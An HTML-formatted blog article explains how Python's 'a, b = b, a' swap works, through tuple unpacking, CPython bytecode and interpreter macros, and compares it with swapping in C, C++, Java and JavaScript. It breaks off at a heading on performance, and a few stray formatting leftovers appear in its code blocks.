&lt;p&gt;The right-hand side b, a is an expression list that is evaluated into a tuple (b, a), and then that tuple is unpacked into the targets a and b on the left. This multiple-assignment is defined in the Python language reference: “an assignment statement evaluates the expression list (which can be a comma-separated list yielding a tuple) and assigns the single resulting object to each of the target lists, from left to right” &lt;a href="https://docs.python.org/3/reference/simple_stmts.html#:~:text=An%20assignment%20statement%20evaluates%20the,lists%2C%20from%20left%20to%20right" rel="noopener noreferrer"&gt;1&lt;/a&gt;. In other words, Python first evaluates the entire right side (in this case building a tuple (b,a)), then assigns its elements to a and b in order. This eliminates the risk of one variable clobbering the other during assignment.&lt;/p&gt;

&lt;p&gt;In practical terms, one can think of a, b = b, a as roughly equivalent to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pack into a temporary tuple 
&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="c1"&gt;# unpack into a and b
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It’s important to note that this is an &lt;strong&gt;assignment statement&lt;/strong&gt; , not an expression, so it doesn’t “return” a value (a function performing the swap returns None &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=10%20STORE_FAST%20%20%20,None%29%2016%20RETURN_VALUE" rel="noopener noreferrer"&gt;2&lt;/a&gt;). Also, the evaluation order is well-defined: Python first evaluates b then a, packs them into a tuple, and &lt;em&gt;then&lt;/em&gt; performs the left-to-right assignment into a and b &lt;a href="https://docs.python.org/3/reference/simple_stmts.html#:~:text=An%20assignment%20statement%20evaluates%20the,lists%2C%20from%20left%20to%20right" rel="noopener noreferrer"&gt;1&lt;/a&gt; &lt;a href="https://stackoverflow.com/questions/39855410/is-python-tuple-assignment-order-fixed#:~:text=,lists%2C%20from%20left%20to%20right" rel="noopener noreferrer"&gt;3&lt;/a&gt;. This left-to-right rule is guaranteed by the language, so the swap is unambiguous and does not depend on evaluation order surprises.&lt;/p&gt;

&lt;h3&gt;
  
  
  Python Tuple Packing and Unpacking
&lt;/h3&gt;

&lt;p&gt;At a high level, a, b = b, a works because Python supports packing multiple values into a tuple and unpacking them. In a, b = b, a, the right-hand side is a tuple expression (parentheses are optional) whose two elements are b and a. Python evaluates b and a, creating a new tuple object (b, a). Then the left-hand side sees that the target list a, b is also two names, so it unpacks that tuple: the first element is assigned to a and the second to b. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is parsed as if Python did tmp = (y, x) then unpacked a, b = tmp. The language reference explicitly calls this “tuple unpacking”: “a comma-separated list [on the right] yields a tuple” which is then distributed to the variables on the left. &lt;a href="https://docs.python.org/3/reference/simple_stmts.html#:~:text=An%20assignment%20statement%20evaluates%20the,lists%2C%20from%20left%20to%20right" rel="noopener noreferrer"&gt;1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This also means that the expressions on the right are evaluated &lt;strong&gt;before&lt;/strong&gt; any assignment happens. So even if you wrote something like a, b = b, some_function(a), Python computes both b and some_function(a) first, then assigns to a and b respectively. This is why you won’t mistakenly use an old or overwritten value – it’s all computed up front in tuple form. In our swap case, both b and a are read before writing to either variable, so the swap is “atomic” in behaviour.&lt;/p&gt;

&lt;h3&gt;
  
  
  CPython Implementation: Bytecode and Stack Operations
&lt;/h3&gt;

&lt;p&gt;Under the hood, CPython translates a, b = b, a into bytecode that uses the evaluation stack. For example, disassembling a simple function shows how CPython does a two-variable swap &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=2%20%20%20%20,b" rel="noopener noreferrer"&gt;4&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dis&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; 
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="n"&gt;LOAD_FAST&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
              &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;LOAD_FAST&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
              &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="n"&gt;ROT_TWO&lt;/span&gt;
              &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;STORE_FAST&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
             &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;STORE_FAST&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
             &lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;LOAD_CONST&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
             &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="n"&gt;RETURN_VALUE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here’s what happens step by step:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;LOAD_FAST 1 (b) pushes the value of b onto the Python stack.&lt;/li&gt;
&lt;li&gt;LOAD_FAST 0 (a) then pushes the original value of a on top of that. Now the stack has &lt;a href="https://dev.towith%20a%20on%20top"&gt;b, a&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;The ROT_TWO opcode swaps these top two stack items. After ROT_TWO, the stack has [a, b] on top.&lt;/li&gt;
&lt;li&gt;STORE_FAST 0 (a) pops the top of stack (which is the &lt;em&gt;original&lt;/em&gt; b) and stores it in a. Internally this does something like value = POP(); SETLOCAL(a, value).&lt;/li&gt;
&lt;li&gt;STORE_FAST 1 (b) pops the next item (original a) and stores it in b. After these two stores, a has the old b and b has the old a.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(The final LOAD_CONST/RETURN_VALUE just returns None since the function has no return.)&lt;/p&gt;

&lt;p&gt;The key opcodes are &lt;strong&gt;LOAD_FAST&lt;/strong&gt; , &lt;strong&gt;ROT_TWO&lt;/strong&gt; , and &lt;strong&gt;STORE_FAST&lt;/strong&gt;. By definition, ROT_TWO “swaps the two top-most stack items” &lt;a href="https://docs.python.org/ko/3.5/library/dis.html#:~:text=" rel="noopener noreferrer"&gt;5&lt;/a&gt;, so it does exactly the swap on the two values without creating any new Python objects. Neither LOAD_FAST nor STORE_FAST creates tuples – they work with references. Internally, LOAD_FAST n fetches the local variable slot n, increments its reference count, and pushes the object onto the stack. Conversely, STORE_FAST n pops one item from the stack and stores it into local slot n, decrementing the old value’s reference count if necessary.&lt;/p&gt;

&lt;p&gt;In C, the ceval.c interpreter code for these opcodes looks roughly like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Python/ceval.c pseudocode for LOAD_FAST&lt;/span&gt;
&lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GETLOCAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;oparg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// get local var&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;throw&lt;/span&gt; &lt;span class="n"&gt;UnboundLocalError&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;Py_INCREF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// increment refcount&lt;/span&gt;
&lt;span class="n"&gt;PUSH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// push onto value stack&lt;/span&gt;
&lt;span class="c1"&gt;// ... later, for STORE_FAST:&lt;/span&gt;
&lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;POP&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// pop top of stack&lt;/span&gt;
&lt;span class="n"&gt;SETLOCAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;oparg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// store into localsplus array&lt;/span&gt;
&lt;span class="c1"&gt;// (SETLOCAL does Py_XDECREF on old value):contentReference[oaicite:7]{index=7}:contentReference[oaicite:8]{index=8}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://nutshell.pages.dev/blog/python_internal_from_python_to_bytecode_until_c/#:~:text=case%20TARGET%28LOAD_FAST%29%3A%20%7B%20PyObject%20,co_varnames%2C%20oparg%29%29%3B%20goto%20error%3B" rel="noopener noreferrer"&gt;6&lt;/a&gt; &lt;a href="http://droettboom.com/cpython-coverage/llvm-coverage/coverage/home/mdboom/Work/builds/cpython/Python/ceval.c.html#:~:text=,tmp%20%3D%20GETLOCAL%28i%29%3B" rel="noopener noreferrer"&gt;7&lt;/a&gt; The SETLOCAL(i,value) macro (used by STORE_FAST) does something like: save the old local to a temp, write the new value into the local slot, then Py_XDECREF the old value &lt;a href="http://droettboom.com/cpython-coverage/llvm-coverage/coverage/home/mdboom/Work/builds/cpython/Python/ceval.c.html#:~:text=,tmp%20%3D%20GETLOCAL%28i%29%3B" rel="noopener noreferrer"&gt;7&lt;/a&gt;. This handles reference-count bookkeeping for you. Notice that during this swap, CPython only incremented and decremented reference counts of the objects a and b; it did &lt;strong&gt;not&lt;/strong&gt; create any new tuple object at runtime for the 2-variable case. The ROT_TWO bytecode simply shuffled references on the stack without allocation.&lt;/p&gt;

&lt;p&gt;For three-variable swaps (a, b, c = c, b, a), CPython similarly uses LOAD_FAST three times followed by ROT_THREE and ROT_TWO to cyclically rotate the top three stack items, then STORE_FAST thrice &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=For%20a%203,three%20items%20on%20the%20stack" rel="noopener noreferrer"&gt;8&lt;/a&gt; &lt;a href="https://stackoverflow.com/questions/51999353/a-b-b-a-in-python-vs-stdswap-in-c#:~:text=16%20RETURN_VALUE%20,9%20ROT_THREE%2010%20ROT_TWO" rel="noopener noreferrer"&gt;9&lt;/a&gt;. No tuple is created there either. In fact, for 2- or 3-item assignments, CPython’s peephole optimizer specially replaces the generic tuple-build-and-unpack sequence with these more efficient stack-rotate ops &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=The%20latter%20may%20seem%20like,opcodes%20for%20efficiency" rel="noopener noreferrer"&gt;10&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;However, once you swap 4 or more variables, CPython falls back to a less-optimized method. For example, consider:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Disassembling shows that CPython will LOAD_FAST each of the four values onto the stack, then call BUILD_TUPLE 4 and UNPACK_SEQUENCE 4 &lt;a href="https://stackoverflow.com/questions/51999353/a-b-b-a-in-python-vs-stdswap-in-c#:~:text=,a" rel="noopener noreferrer"&gt;11&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 LOAD_FAST 3 (d)
 3 LOAD_FAST 2 (c)
 6 LOAD_FAST 1 (b)
 9 LOAD_FAST 0 (a)
12 BUILD_TUPLE 4 # creates a 4-tuple (a,b,c,d)
15 UNPACK_SEQUENCE 4 # pops that tuple and pushes elements for assignment
18 STORE_FAST 0 (a)
21 STORE_FAST 1 (b)
24 STORE_FAST 2 (c)
27 STORE_FAST 3 (d)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That creates a temporary 4-tuple under the hood, then immediately unpacks it into d, c, b, a. (This is more “wasteful,” but CPython’s rule is to use the generic tuple-unpacking logic for 4+ items. The 2- and 3-item cases are optimized by a special peephole as mentioned &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=The%20latter%20may%20seem%20like,opcodes%20for%20efficiency" rel="noopener noreferrer"&gt;10&lt;/a&gt; &lt;a href="https://stackoverflow.com/questions/51999353/a-b-b-a-in-python-vs-stdswap-in-c#:~:text=,a" rel="noopener noreferrer"&gt;11&lt;/a&gt;.)&lt;/p&gt;

&lt;h3&gt;
  
  
  How Other Languages Swap
&lt;/h3&gt;

&lt;p&gt;By way of comparison, other languages handle swapping differently:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;C (using a temporary).&lt;/strong&gt; In C you typically swap two variables with an extra variable. For example:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;— This is straightforward and compiles down to a few machine instructions. (See e.g. this example &lt;a href="https://www.geeksforgeeks.org/c-program-swap-two-numbers/#:~:text=C%20" rel="noopener noreferrer"&gt;12&lt;/a&gt;.) There are clever tricks like XOR-swap or arithmetic-swap, but they aren’t used in high-level C code as often. The key point is C always needs a temporary storage (or analogous trick) at the source level; it doesn’t have tuple assignments.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;C++ (&lt;/strong&gt;&lt;strong&gt;std::swap).&lt;/strong&gt; C++ provides std::swap(a, b). In generic C++03 form, it’s essentially implemented as:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="nf"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// copy-construct&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// assign&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// assign&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In C++11 and later, it often uses move semantics:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;— (Specialized types like containers may implement swap by just swapping pointers internally for efficiency.) In any case, std::swap typically compiles to a few assignments or moves – very low-level operations. The above template-based implementations are documented in StackOverflow answers &lt;a href="https://stackoverflow.com/questions/25529334/how-does-stdswap-work-in-terms-of-constructors-assignment-operators-and-dest#:~:text=template,temp%3B%20%20%2F%2F%20assign" rel="noopener noreferrer"&gt;13&lt;/a&gt; &lt;a href="https://stackoverflow.com/questions/25529334/how-does-stdswap-work-in-terms-of-constructors-assignment-operators-and-dest#:~:text=template,move%20or%20assign" rel="noopener noreferrer"&gt;14&lt;/a&gt;. Because it’s compiled code with primitive operations (and often inlined), C++ swaps are extremely fast.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Java (pass-by-value semantics).&lt;/strong&gt; Java has no tuple-unpacking or pointer-swap. Variables of primitive types must be swapped with a temp variable just as in C. For objects, it’s more subtle: Java method parameters are &lt;em&gt;pass-by-value&lt;/em&gt;, meaning swapping two object &lt;em&gt;references&lt;/em&gt; inside a function won’t affect the caller’s variables &lt;a href="https://www.digitalocean.com/community/tutorials/java-is-pass-by-value-and-not-pass-by-reference#:~:text=The%20output%20shows%20that%20the,the%20original%20object%20reference%20values" rel="noopener noreferrer"&gt;15&lt;/a&gt;. For example:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This DOES NOT swap caller's variables:&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="n"&gt;jav&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;— After calling swap(a, b), the original a and b in the caller are unchanged &lt;a href="https://www.digitalocean.com/community/tutorials/java-is-pass-by-value-and-not-pass-by-reference#:~:text=The%20output%20shows%20that%20the,the%20original%20object%20reference%20values" rel="noopener noreferrer"&gt;15&lt;/a&gt;. To swap in Java, you must swap in the caller’s scope, usually with a temporary variable. If you want a true “swap method,” you’d need to pass mutable holders (e.g. an array or a custom pair) or use some wrapper, since Java’s semantics won’t swap two separate variables directly. In practice, a Java programmer would simply do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;— The key point from &lt;a href="https://www.digitalocean.com/community/tutorials/java-is-pass-by-value-and-not-pass-by-reference#:~:text=The%20output%20shows%20that%20the,the%20original%20object%20reference%20values" rel="noopener noreferrer"&gt;15&lt;/a&gt; is that &lt;strong&gt;Java parameters are always passed by value&lt;/strong&gt; , so you can’t write a swap utility that swaps two outside variables without returning new values or using mutable holders.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JavaScript (ES6 destructuring).&lt;/strong&gt; Modern JS supports array destructuring for swapping. For example:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 3 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;— This looks similar to Python. Under the hood, the JS engine first evaluates the right-hand side expression [b, a], which creates a new array, then destructures it into a and b. (It’s exactly analogous to a tuple: a temporary array [b,a] is built, then unpacked.) As one StackOverflow answer notes, it &lt;em&gt;does&lt;/em&gt; create an array as a temporary value &lt;a href="https://stackoverflow.com/questions/75428187/why-array-destructuring-can-swap-two-variables-without-temperory-variable#:~:text=It%20does%20create%20a%20temporary,you%20could%20easily%20introduce%20one" rel="noopener noreferrer"&gt;16&lt;/a&gt; – just with no explicit variable name for it. So JavaScript swapping via destructuring is syntactic sugar over the same concept. Without destructuring, you’d swap in JS like in C: with a temporary variable or another trick. The MDN docs also confirm that destructuring can swap variables and that without it you’d need a temp &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring#:~:text=Two%20variables%20values%20can%20be,swapped%20in%20one%20destructuring%20expression" rel="noopener noreferrer"&gt;17&lt;/a&gt; &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring#:~:text=,log%28b%29%3B%20%2F%2F%201" rel="noopener noreferrer"&gt;18&lt;/a&gt; .&lt;/p&gt;

&lt;h3&gt;
  
  
  A Rough Comparison of Performance and Memory
&lt;/h3&gt;

